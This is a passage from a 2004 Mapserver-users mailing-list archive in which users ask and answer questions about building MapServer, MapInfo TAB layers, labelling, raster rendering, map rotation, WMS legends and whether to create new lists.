MUM/OSGIS conference for a presentation please contact me directly with their mailing address so I can get it back to them. ------ Mark Lucas Lead Scientist / Site Manager Intelligence Data Systems Inc. 1901 S Harbor City Blvd Melbourne Fl 32901 (321) 725 4005 (work) mlucas at intelligence-data.com ------- sites: www.intelligence-data.com www.ossim.org www.remotesensing.org From assefa at dmsolutions.ca Wed Jun 16 12:58:28 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 16 Jun 2004 15:58:28 -0400 Subject: [Mapserver-users] Mapserver 4.2 with Oracle !??? In-Reply-To: <1087310263.12740.30.camel@localhost> References: <118A9CF846431048B65C4AFB0E57C0ED03733D@ECQCSTFMAIL1.quebec.int.ec.gc.ca> <1087310263.12740.30.camel@localhost> Message-ID: <40D0A664.40909@dmsolutions.ca> Just a follw up into this discussion : I have build mapserver/php mapscript (CVS version) with oracle 8.1.7 for windows. As I mentionned in previous e-mails, I am not setup to test if it really works although a few months back someone has used a similar build successfully. The zip is loacted at http://www.maptools.org/dl/mapserver-4.3-win32-php4.3.7_oracle.zip If there are people that can use it/test it, I can certainly make it available on maptools with reguilar builds. People have expressed the need to have php/mapscript with Orcale support but I need help to make sure that it works. Best Regards, Pericles S. Nacionales wrote: > Nicolas, > > I'm in the process of compiling MapServer 4.2 for windows and will > include oracle spatial support. It's taking a bit longer as I'm also > compiling new versions of other libraries. It should be available in > the MapServer website sometime tomorrow. I don't know if there's a > version in maptools.org with oracle spatial support but you can check at > http://www.maptools.org. > > Cheers! > -Perry N. > > On Tue, 2004-06-15 at 08:59, Fortin,Nicolas [SteFoy] wrote: > >>Hi list, >> >>I wonder if someone already have compiled mapserver 4.2 with oracle >>spatial support like ms402_gif_oracle.zip for windows? >>If the answer is yes, where will it be available on the mapserver site? >> >>Thx, >> >>Nicolas Fortin >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From moeller at basis5.de Wed Jun 16 13:06:03 2004 From: moeller at basis5.de (=?ISO-8859-1?Q?Lars_M=F6ller?=) Date: Wed, 16 Jun 2004 22:06:03 +0200 Subject: [Mapserver-users] error in make Message-ID: <40D0A82B.3030807@basis5.de> hello, I get errors while compiling. after compiling I can use the mapserv file, but it didn't print raster layers. I put the errors from the "make" comand at the end. has someone ideas about that? thanks lars In file included from /usr/include/jpeglib.h:24, from mapraster.c:31: /usr/include/jconfig.h:12: warning: `HAVE_STDLIB_H' redefined /usr/local/include/cpl_config.h:53: warning: this is the location of the previous definition ... maplayer.c: In function `msLayerWhichItemsNew': maplayer.c:629: warning: unused variable `i' ... mapimagemap.c:59: warning: `searchImageCache' defined but not used mapimagemap.c:89: warning: `addImageCache' defined but not used mapimagemap.c:333: warning: `imageOffsetPolyline' defined but not used mapimagemap.c:364: warning: `imagePolyline' defined but not used mapimagemap.c:1392: warning: `billboardIM' defined but not used From eduardo at consultoria.eti.br Wed Jun 16 12:14:24 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 16 Jun 2004 16:14:24 -0300 Subject: [Mapserver-users] labels along lines Message-ID: <40D09C10.4050805@consultoria.eti.br> does mapserver support labeling lines distributing the caracters along the line, so, I mean, each char will take a angle? like: . . . . . . . . . s . t . r . e . e . t . . n .a . m . e . . . . . . -- Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** From jmalczyk at yahoo.com Wed Jun 16 13:40:17 2004 From: jmalczyk at yahoo.com (Jeremy Malczyk) Date: Wed, 16 Jun 2004 13:40:17 -0700 (PDT) Subject: [Mapserver-users] Out-of-the-box and 24 bit? Message-ID: <20040616204017.19182.qmail@web61010.mail.yahoo.com> What exactly are the color palette limitations using the latest out-of-box Win32 version of MapServer? I am running into rendering problems when trying to overlay a transparent raster (shaded relief) on a DRG, as well as bad DRG seaming when using any RGB output format. 8 bit outputs look OK except when I use the shading, which I assume means MapServer is running out of colors to allocate. The data I'm working with is USGS DRG data (map collars clipped in 8-bit Tiff), with 8-bit greyscale shaded relief tiffs. I use OFFSITE 0 0 0 in the LAYER object to seam the DRGs together. Like I said, this works with 256 color outputs, but not with RGB. I tried jpeg and png24 and in both cases blacks turn strange shades of pink or green and the black areas around the DRGs that are supposed to be transparent (via the offsite setting) are only partially transparent. My mapserv -v output is as follows: MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE So I guess my question is, does the stock cgi Win32 executable support 24 bit rendering? It has GDAL 1.1.9 in it so shouldn't it? And if not, why, and what are my options for getting that? I would really like to avoid building MapServer for this project, so if anyone can suggest a way around that I would be eternally grateful. Thanks, Jeremy __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From woodbri at swoodbridge.com Wed Jun 16 13:47:02 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 16 Jun 2004 16:47:02 -0400 Subject: [Mapserver-users] labels along lines In-Reply-To: <40D09C10.4050805@consultoria.eti.br> References: <40D09C10.4050805@consultoria.eti.br> Message-ID: <40D0B1C6.70805@swoodbridge.com> This is not supported in mapserver. -Steve W. Eduardo Patto Kanegae wrote: > does mapserver support labeling lines distributing the caracters along > the line, so, I mean, each char will take a angle? > > like: > > > . . . > . . . . . . s > . t > . r > . e > . e > . t > . . n .a . m . e . > . . . . . > From murilo.yoshida at agx.com.br Wed Jun 16 14:11:44 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Wed, 16 Jun 2004 18:11:44 -0300 Subject: [Mapserver-users] scalebar question... Message-ID: <000001c453e6$8fb5b410$1364a8c0@parapente> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C453CD.6A687C10 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, Which are the possible styles of the scalebar object? In the documentation it says that there is the style 0 and 1. I tried to use the 1 style and the scalebar disappears. Only shows the labels of the scale. Thanks, Murilo ------=_NextPart_000_0001_01C453CD.6A687C10 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

   Hi = all,

   Which are the possible = styles of the scalebar object?

   In the documentation it = says that there is the style 0 and 1… I tried to use the 1 style and the scalebar disappears… Only shows the labels of the = scale…

   = Thanks,

     = Murilo

------=_NextPart_000_0001_01C453CD.6A687C10-- From dgadoury at dmsolutions.ca Wed Jun 16 14:25:59 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Wed, 16 Jun 2004 17:25:59 -0400 Subject: [Mapserver-users] labels along lines In-Reply-To: <40D0B1C6.70805@swoodbridge.com> References: <40D09C10.4050805@consultoria.eti.br> <40D0B1C6.70805@swoodbridge.com> Message-ID: <40D0BAE7.8010004@dmsolutions.ca> This is in a bug in Bugzilla so maybe some day it will become reality: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=206 Stephen Woodbridge wrote: > This is not supported in mapserver. > > -Steve W. > > Eduardo Patto Kanegae wrote: > >> does mapserver support labeling lines distributing the caracters >> along the line, so, I mean, each char will take a angle? >> >> like: >> >> >> . . . >> . . . . . . s >> . t >> . r >> . e >> . e >> . t >> . . n .a . m . e >> . . . . . . >> > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ___________________________ Dean Gadoury DM Solutions Group 30 Rosemount Ave. Suite 200 Ottawa, Ontario. K1Y 1P4 613.565.5056 ext. 24 dgadoury at dmsolutions.ca www.dmsolutions.ca From jmckenna at dmsolutions.ca Wed Jun 16 15:04:51 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Wed, 16 Jun 2004 18:04:51 -0400 Subject: [Mapserver-users] MapInfo example (was: thanks for your answers guys) References: Message-ID: <40D0C403.70101@dmsolutions.ca> thanks Tyler, I was about to say the same thing..this mapinfo sample should help. Tyler, should we mention the 'mapserver-newbie' list idea that you had to the rest of the community? Or maybe you already did. jeff Tyler Mitchell wrote: >>if i understand what you're saying : >>using MAPINFO in mapserver i am obliged to write manually the .map file >>and refer to the .tab . >>MapInfo sftware doesn't provide a .map file ready to use in mapserver. >> >>is that correct ? >> >>If someone has an full example of MapInfo mapfile i am interested in !! > > > Here's an example for you Eric, which Jeff McKenna pulled together for a > recent workshop, hope it helps you out. > It shows the syntax of using the ogrinfo utility (from GDAL/OGR package) > to give you more info about the file and also shows a mapfile example. > > -------------- > > MapInfo Files > Also known as TAB or MID/MIF files. > File listing > The following files are also associated with .TAB files: .DAT, .ID, .MAP. > An example is: > border.DAT border.ID border.MAP border.TAB > > The term MID/MIF refers to files with .MID and .MIF extension. > Data Access / Connection Method > 1. TAB and MID/MIF access is available in MapServer through OGR. > 2. The CONNECTIONTYPE OGR parameter must be used. > 3. The path to the (*.tab or *.mif) file is required, and file > extension is needed. > 4. The path may be relative to the SHAPEPATH > 5. DGN files already contain "styling" information. This styling > information can be used (optionally) by specifying the STYLEITEM "AUTO" > parameter in the LAYER object of the mapfile. > 6. If you use STYLEITEM "AUTO" you must have an empty class in the > layer > OGRINFO Examples > ogrinfo on a single TAB file > $ ogrinfo elev5_poly.TAB > Had to open data source read-only. > INFO: Open of `elev5_poly.TAB' > using driver `MapInfo File' successful. > 1: elev5_poly (Polygon) > > Using ogrinfo to examine the structure of the file/layer > $ ogrinfo elev5_poly.TAB elev5_poly > Had to open data source read-only. > INFO: Open of `elev5_poly.TAB' > using driver `MapInfo File' successful. > > Layer name: elev5_poly > Geometry: Polygon > Feature Count: 2236 > Extent: (-141.000000, 60.000000) - (-124.403310, 69.300251) > Layer SRS WKT: > GEOGCS["unnamed", > DATUM["MIF 0", > SPHEROID["WGS 84 (MAPINFO Datum 0)",6378137.01,298.257223563], > TOWGS84[0,0,0,0,0,0,0]], > PRIMEM["Greenwich",0], > UNIT["degree",0.0174532925199433]] > AREA: Real (0.0) > PERIMETER: Real (0.0) > ELEV5_: Integer (0.0) > ELEV5_ID: Integer (0.0) > TYPE: Real (4.0) > ELEV5: Real (4.0) > ... > > Mapfile Syntax > LAYER > NAME Elevation_Poly_5 > TYPE POLYGON > STATUS DEFAULT > CONNECTIONTYPE OGR > CONNECTION "./hypso/elev5_poly.TAB" > STYLEITEM "AUTO" > CLASS > NAME "Elevation Poly 5" > END > PROJECTION > "proj=latlong" "ellps=WGS84" # Geographic > END > END # Layer > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- Jeff McKenna GIS Specialist DM Solutions Group Inc. http://www.dmsolutions.ca From ervega at microexpertos.cl Wed Jun 16 15:03:13 2004 From: ervega at microexpertos.cl (Ernesto Vega) Date: Wed, 16 Jun 2004 18:03:13 -0400 Subject: [Mapserver-users] Another TAB files problem Message-ID: <010e01c453ed$b8889590$800a1eac@microexpertos.cl> Hi. I have a Mapserver installation running on linux and i have a tab file to describe my unique layer, named "muestra". ogrinfo tells me that the geometry for layer muestra( the one named before) is "Line String". I was able to get the extents for my Map file definition. Also, defining my layer muestra, as type of vector or type of line, and defining a class named "Calle", mapserver renders the image but not the street names, as describe by ogrinfo, that shows records like this one: ########################### OGRFeature(muestra):2 Street (String) = STO DOMINGO <------ Don't know how to define this FromLeft (Integer) = 1097 ToLeft (Integer) = 1019 FromRight (Integer) = 1088 ToRight (Integer) = 1022 DIG (Integer) = 0 Class (String) = CALLE direccion (Integer) = 0 Style = PEN(w:1px,c:#000000,id:"mapinfo-pen-130.ogr-pen-0") LINESTRING (-70.65271000 -33.43634800,-70.65134200 -33.43619400) ######################### my layer definition is this: ############# LAYER NAME muestra TYPE VECTOR STATUS ON CONNECTIONTYPE OGR CONNECTION "all/muestra.TAB" DEBUG ON CLASS NAME "Calle" DEBUG ON COLOR 79 53 181 END END # Layer ######### any ideas why ??? Ernesto Vega From jmckenna at dmsolutions.ca Wed Jun 16 15:29:20 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Wed, 16 Jun 2004 18:29:20 -0400 Subject: [Mapserver-users] Another TAB files problem References: <010e01c453ed$b8889590$800a1eac@microexpertos.cl> Message-ID: <40D0C9C0.1070905@dmsolutions.ca> Ernesto, You need a LABEL object to display the street names. I think you would use "Street" as your LABELITEM to tell mapserver which field to use for your labels. Here's an example of a layer showing labelled city points: LAYER NAME Communities TYPE POINT STATUS DEFAULT CONNECTIONTYPE OGR CONNECTION "data/base/places.TAB" LABELITEM "Name" CLASS NAME "Communities" SYMBOL "mapinfo-sym-33" COLOR 0 0 0 SIZE 6 LABEL FONT "fritqat-italic" TYPE TRUETYPE COLOR 0 0 0 SIZE 10 POSITION auto END END END # Layer jeff Ernesto Vega wrote: > Hi. I have a Mapserver installation running on linux and i have a tab file > to describe my unique layer, named "muestra". > > ogrinfo tells me that the geometry for layer muestra( the one named before) > is "Line String". I was able to get the extents for my Map file definition. > > Also, defining my layer muestra, as type of vector or type of line, and > defining a class named "Calle", mapserver renders the image but not the > street names, > as describe by ogrinfo, that shows records like this one: > > ########################### > > OGRFeature(muestra):2 > Street (String) = STO DOMINGO <------ Don't know how to define this > FromLeft (Integer) = 1097 > ToLeft (Integer) = 1019 > FromRight (Integer) = 1088 > ToRight (Integer) = 1022 > DIG (Integer) = 0 > Class (String) = CALLE > direccion (Integer) = 0 > Style = PEN(w:1px,c:#000000,id:"mapinfo-pen-130.ogr-pen-0") > LINESTRING (-70.65271000 -33.43634800,-70.65134200 -33.43619400) > > ######################### > > > my layer definition is this: > > ############# > > LAYER > > NAME muestra > TYPE VECTOR > STATUS ON > CONNECTIONTYPE OGR > CONNECTION "all/muestra.TAB" > DEBUG ON > CLASS > NAME "Calle" > DEBUG ON > COLOR 79 53 181 > END > > END # Layer > > ######### > > > any ideas why ??? > > Ernesto Vega > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- Jeff McKenna GIS Specialist DM Solutions Group Inc. http://www.dmsolutions.ca From tjmitchell at riverside.bc.ca Wed Jun 16 16:07:09 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 16 Jun 2004 16:07:09 -0700 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: Some of us have been discussing/debating about how to improve the MapServer community, specifically via the mailing lists. The idea is that there might be some benefit gained from creating a new list or two. I am not sure how well all the questions get answered, especially considering the volume of mail coming through these days. - I've heard from more than a few people that they unsubscribe after their question is answered because the traffic is so high. Do you think new users would benefit from a less threatening (lower volume!) newbie list? - Would some specific technical areas benefit from having a list (i.e. Mapscript)? - Would an "announcement only" list be useful? What do you others on the list think? Tyler p.s. for those of you who were overcome with guilt for never replying to my surveys, now's your chance to participate ;) ha! From devel at itdownunder.com.au Wed Jun 16 16:49:24 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Thu, 17 Jun 2004 09:49:24 +1000 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: Message-ID: <002b01c453fc$90c0e080$65c8a8c0@arlaptop> Hi All I am a newbie and I must admit this is a busy mailing list! But that is good as I have much more confidence that I will achieve what I want because of this. I can see that there is a good mix of newbies asking basic questions and gurus designing the future of the product. I think as Tyler has suggested these other lists could be good. The risk is that none of the gurus subscribe to the newbie list! This would be a disaster for the product. Regards, Andrew Rich Maps Downunder > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler From jacob.delfos at maunsell.com Wed Jun 16 17:09:54 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Thu, 17 Jun 2004 10:09:54 +1000 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: I admit I had to move my subscription to my work account, because my private account would fill up too fast. The idea has been suggested before to use a 'bulletin board', or internet forum. This way there can be different categories. (would be great having mapserver, chameleon, gdal, etc. on one site!) Having set one of these up myself I know that the amount of work involved is quite minimal (there are great open source solutions, such as 'YaBB'). I think major advantages would be searching capabilities (preventing redundant posts), and access to previous posts for new users. I would definitely support this approach. Regards, Jacob -----Original Message----- From: Tyler Mitchell [mailto:tjmitchell at riverside.bc.ca] Sent: Thursday, 17 June 2004 7:07 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Other MapServer mailing lists Some of us have been discussing/debating about how to improve the MapServer community, specifically via the mailing lists. The idea is that there might be some benefit gained from creating a new list or two. I am not sure how well all the questions get answered, especially considering the volume of mail coming through these days. - I've heard from more than a few people that they unsubscribe after their question is answered because the traffic is so high. Do you think new users would benefit from a less threatening (lower volume!) newbie list? - Would some specific technical areas benefit from having a list (i.e. Mapscript)? - Would an "announcement only" list be useful? What do you others on the list think? Tyler p.s. for those of you who were overcome with guilt for never replying to my surveys, now's your chance to participate ;) ha! _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Wed Jun 16 17:23:01 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 16 Jun 2004 20:23:01 -0400 Subject: [Mapserver-users] Out-of-the-box and 24 bit? In-Reply-To: <20040616204017.19182.qmail@web61010.mail.yahoo.com> References: <20040616204017.19182.qmail@web61010.mail.yahoo.com> Message-ID: <40D0E465.3040509@pobox.com> Jeremy Malczyk wrote: > So I guess my question is, does the stock cgi Win32 executable support > 24 bit rendering? It has GDAL 1.1.9 in it so shouldn't it? And if not, > why, and what are my options for getting that? I would really like to > avoid building MapServer for this project, so if anyone can suggest a > way around that I would be eternally grateful. Jeremy, It should support 24bit rendering, but there have been issues with transparency in the past in 24bit mode. I would suggest you upgrade to MapServer 4.2 (and GDAL 1.2.0) and if problems remain file a careful bug report on the issue. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From COUTUJF at dfo-mpo.gc.ca Wed Jun 16 17:30:51 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Wed, 16 Jun 2004 20:30:51 -0400 Subject: [Mapserver-users] Unable to access file error Message-ID: Hi everybody, Following the meeting in Ottawa last week, I'm trying to set up a demo mapserver application to show to management what MapServer can do for us. I'm using apache1.3 on Windows NT4 . I customized the Itasca demo to fit my data. So here is my problem, let's start with the stuff that works: If I try http://serveraddress/mapserv.exe?map=../htdocs/workshop/test.map&mode=map I get the map I want. I also specified in the index.html those variables: I can see that the .png files are created by mapServer in the /tmp/ directory, but when I try to use the template, hence the Initialize button (identical to Itasca one) I get: Content-type: text/html msReturnPage(): Unable to access file. set in index.html I did try to get directly to http://serveraddress/workshop/tmp/filename.png and I do get the png in the browser so I guess it's no security problem. please help, thanks! JF Coutu Canadian Cost Guard coutujf at dfo-mpo.gc.ca From John.Hockaday at ga.gov.au Wed Jun 16 17:59:45 2004 From: John.Hockaday at ga.gov.au (John.Hockaday at ga.gov.au) Date: Thu, 17 Jun 2004 10:59:45 +1000 Subject: [Mapserver-users] Other MapServer mailing lists Message-ID: Tyler, I manage the volume of this list by looking at the email subjects. It the subject doesn't interest me then I delete it. If the subject content is not relevant to the content of the email then someone's question might not get answered. I believe that extra lists may mean that someone won't get their questions answered if they send a message to the wrong list or if those in the know are not subscribed to the list. Having said that I think that lists which are specific, eg. PHP and mapscript and then a general list it may allow people to more easily manage the volume. I would hope that the archives are merged and that a *very* good searching system used. Otherwise people will be asking the same questions of different lists. Etc. etc. I guess this doesn't answer your question. It just notes some observations. One thing that I *must* occur is a list of some sort. The questions and especially the answers are *very* helpful. Without this list I believe many people would not be using MapServer. Keep up the good work subscribers! Thanks. John > -----Original Message----- > From: Tyler Mitchell [mailto:tjmitchell at riverside.bc.ca] > Sent: Thursday, 17 June 2004 9:07 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Other MapServer mailing lists > > > Some of us have been discussing/debating about how to improve the > MapServer community, specifically via the mailing lists. The > idea is that > there might be some benefit gained from creating a new list or two. > > I am not sure how well all the questions get answered, especially > considering the volume of mail coming through these days. > > - I've heard from more than a few people that they > unsubscribe after their > question is answered because the traffic is so high. Do you think new > users would benefit from a less threatening (lower volume!) > newbie list? > - Would some specific technical areas benefit from having a list (i.e. > Mapscript)? > - Would an "announcement only" list be useful? > > What do you others on the list think? > > Tyler > > p.s. for those of you who were overcome with guilt for never > replying to > my surveys, now's your chance to participate ;) ha! > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From COUTUJF at dfo-mpo.gc.ca Wed Jun 16 18:25:55 2004 From: COUTUJF at dfo-mpo.gc.ca (COUTUJF at dfo-mpo.gc.ca) Date: Wed, 16 Jun 2004 21:25:55 -0400 Subject: [Mapserver-users] Unable to access file. set in index.html Message-ID: Hi everybody, Following the meeting in Ottawa last week, I'm trying to set up a demo mapserver application to show to management what MapServer can do for us. I'm using apache1.3 on Windows NT4 . I customized the Itasca demo to fit my data. So here is my problem, let's start with the stuff that works: If I try http://serveraddress/mapserv.exe?map=../htdocs/workshop/test.map&mode=map I get the map I want. I also specified in the index.html those variables: I can see that the .png files are created by mapServer in the /tmp/ directory, but when I try to use the template, hence the Initialize button (identical to Itasca one) I get: Content-type: text/html msReturnPage(): Unable to access file. set in index.html I did try to get directly to http://serveraddress/workshop/tmp/filename.png and I do get the png in the browser so I guess it's no security problem. please help, thanks! JF Coutu Canadian Cost Guard coutujf at dfo-mpo.gc.ca From mtomko at sunrise.sli.unimelb.edu.au Wed Jun 16 18:51:36 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Thu, 17 Jun 2004 11:51:36 +1000 Subject: [Mapserver-users] rotating maps in 4.3 development release binaries from Maptools Message-ID: <6.0.0.22.2.20040617114559.01b2f8c8@sunrise.sli.unimelb.edu.au> Hi List maybe I should as in the developer list, but I am not subscribed there.... I just would like to ask what is the final syntax for the rotating maps in 4.3 release... I am interested mostly by the CGI parameters... is it rotmap?? and in which direction is the azimut used (direction of rotation). Oh, and thanks for the wbmp support!! Martin From sgillies at frii.com Wed Jun 16 19:36:18 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 16 Jun 2004 20:36:18 -0600 Subject: [Mapserver-users] rotating maps in 4.3 development release binaries from Maptools In-Reply-To: <6.0.0.22.2.20040617114559.01b2f8c8@sunrise.sli.unimelb.edu.au> References: <6.0.0.22.2.20040617114559.01b2f8c8@sunrise.sli.unimelb.edu.au> Message-ID: <1CB46F68-C007-11D8-AFE8-000D9329D732@frii.com> On Jun 16, 2004, at 7:51 PM, Martin Tomko wrote: > Hi List > maybe I should as in the developer list, but I am not subscribed > there.... > I just would like to ask what is the final syntax for the rotating > maps in 4.3 release... I am interested mostly by the CGI parameters... > is it rotmap?? and in which direction is the azimut used (direction of > rotation). > Oh, and thanks for the wbmp support!! > Martin > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapRotation cheers, Sean From richard.orchard at ermapper.com.au Wed Jun 16 20:00:21 2004 From: richard.orchard at ermapper.com.au (Richard Orchard) Date: Thu, 17 Jun 2004 11:00:21 +0800 Subject: [Mapserver-users] GetLegendGraphic Rules? Message-ID: hi, I am using the following WMS request to get a legend: http://jimbeam.ermapper.com.au/mapserver/mapserv.exe?map=D:/webs/www3/Avein_ Demo.map&VERSION=1.1.1&REQUEST=GetLegendGraphic&service=WMS&LAYER=Geology - indicating rock type&format=image/png Unfortunately, this only produces the one graphic item without a label. I would like display all the class items within the layer, each with a label. Is there a way of doing this? I chased up some bug reports, and mailing list archives, etc, and they mentioned specifying a rule. What should the rule value be? I am using mapServer 4.2. Any help would be appreciated. Richard This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.. www.ermapper.com www.earthetc.com From dmorissette at dmsolutions.ca Wed Jun 16 20:26:55 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 16 Jun 2004 23:26:55 -0400 Subject: [Mapserver-users] Query Raster Layer for Pixel Values In-Reply-To: <40CF62B7.7000101@pobox.com> References: <2576812186CDD411BF1500508B6DCE9507366FD3@ecnwri1.ontario.int.ec.gc.ca> <40CF62B7.7000101@pobox.com> Message-ID: <40D10F7F.2090109@dmsolutions.ca> Frank Warmerdam wrote: > Kralidis,Tom [Burlington] wrote: > >> Will this also be supported in WMS GetFeatureInfo requests? > > > Tom, > > Reading through the code it seems like it would work, but I haven't tested > it. > Normand was going to test this and I think it worked after a few fixes... perhaps he can comment if he reads this. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mtomko at sunrise.sli.unimelb.edu.au Wed Jun 16 20:30:51 2004 From: mtomko at sunrise.sli.unimelb.edu.au (Martin Tomko) Date: Thu, 17 Jun 2004 13:30:51 +1000 Subject: [Mapserver-users] rotating maps in 4.3 development release binaries from Maptools In-Reply-To: <1CB46F68-C007-11D8-AFE8-000D9329D732@frii.com> References: <6.0.0.22.2.20040617114559.01b2f8c8@sunrise.sli.unimelb.edu.au> <1CB46F68-C007-11D8-AFE8-000D9329D732@frii.com> Message-ID: <6.0.0.22.2.20040617132222.01b22480@sunrise.sli.unimelb.edu.au> Hi Sean, thanks for the link to the wiki, I simply did not notice that the entry is already there... However, it doesn't work...(I am using just the map way for the moment...). I did the following: NAME wms.map SIZE 670 440 EXTENT 313735 5807777 324664 5816577 ANGLE 30 UNITS meters FONTSET "fonts/fonts.list" IMAGETYPE png24 IMAGECOLOR 232 232 232 SYMBOLSET "symbols/line.sym" And it doesn't display anything, except of a grey rectangle (generated by mapserver, no mapserver error.). If I comment it out, my application runs just fine... I can also find the grey "map" in the temp dir, so mapserver runs fine for sure, just the result is not rendered... Thanks again!! Martin At 12:36 PM 17/06/2004, Sean Gillies wrote: >On Jun 16, 2004, at 7:51 PM, Martin Tomko wrote: > >>Hi List >>maybe I should as in the developer list, but I am not subscribed there.... >>I just would like to ask what is the final syntax for the rotating maps >>in 4.3 release... I am interested mostly by the CGI parameters... is it >>rotmap?? and in which direction is the azimut used (direction of rotation). >>Oh, and thanks for the wbmp support!! >>Martin > >http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MapRotation > >cheers, >Sean From Tom.Kralidis at ec.gc.ca Wed Jun 16 20:34:29 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Wed, 16 Jun 2004 23:34:29 -0400 Subject: [Mapserver-users] GetLegendGraphic Rules? Message-ID: <2576812186CDD411BF1500508B6DCE9507366FFF@ecnwri1.ontario.int.ec.gc.ca> Hi, I've found this issue as well. IMHO, a GetLegendGraphic request should give back all classes with labels -- just like the MapServer CGI "mode=legend" does. I believe there is a ticket open on this issue. As a temporary workaround, what I do is: - generate a legend image to disk (with MapServer CGI "mode=legend" or ./legend command line - set KEYIMAGE in layer CLASS object to the image ..but I haven't tried this with multiple or scale dependent classes, and not sure how it would work At any rate, this would be a valued enhancement to the MapServer OGC:WMS support. ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Richard Orchard > Sent: Wednesday, June 16, 2004 11:00 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] GetLegendGraphic Rules? > > > hi, > > I am using the following WMS request to get a legend: > http://jimbeam.ermapper.com.au/mapserver/mapserv.exe?map=D:/webs/www3/Av ein_ Demo.map&VERSION=1.1.1&REQUEST=GetLegendGraphic&service=WMS&LAYER=Geolog y - indicating rock type&format=image/png Unfortunately, this only produces the one graphic item without a label. I would like display all the class items within the layer, each with a label. Is there a way of doing this? I chased up some bug reports, and mailing list archives, etc, and they mentioned specifying a rule. What should the rule value be? I am using mapServer 4.2. Any help would be appreciated. Richard This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.. www.ermapper.com www.earthetc.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mtomko at sunrise.sli.unimelb.edu.au Wed Jun 16 20:38:42 2004 From: mtomko at 